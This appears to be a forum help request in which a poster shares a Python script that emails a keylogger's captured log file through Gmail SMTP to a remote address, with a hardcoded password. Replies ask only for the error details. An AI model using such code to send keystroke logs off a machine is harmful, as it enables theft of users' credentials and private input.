Respected all,
I have written a code in python to send the keylogger log file to administrator, the said code working fine but after a day when I try to test in production the code raises an exception,
Need your response on urgent basis.
Thanks
Code...The same code working fine yesterday but today without any change stop working
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = '[email protected]'
email_send = '[email protected]'
subject ='Python'
msg =MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi thre'
msg.attach(MIMEText(body,'plain'))
filename = 'logs.txt'
attachment = open(filename,'rb')
part =MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-disposition',"attachment,filename= "+filename)
msg.attach(part)
text= msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,'qaz@wsx')
server.sendmail(email_user,email_send,text)
server.quit()
What's the error? Are we expected to just guess?
What sort of machine does it run on in production? Is that machine set to automatically install updates? What's changed from when it worked to when it didn't?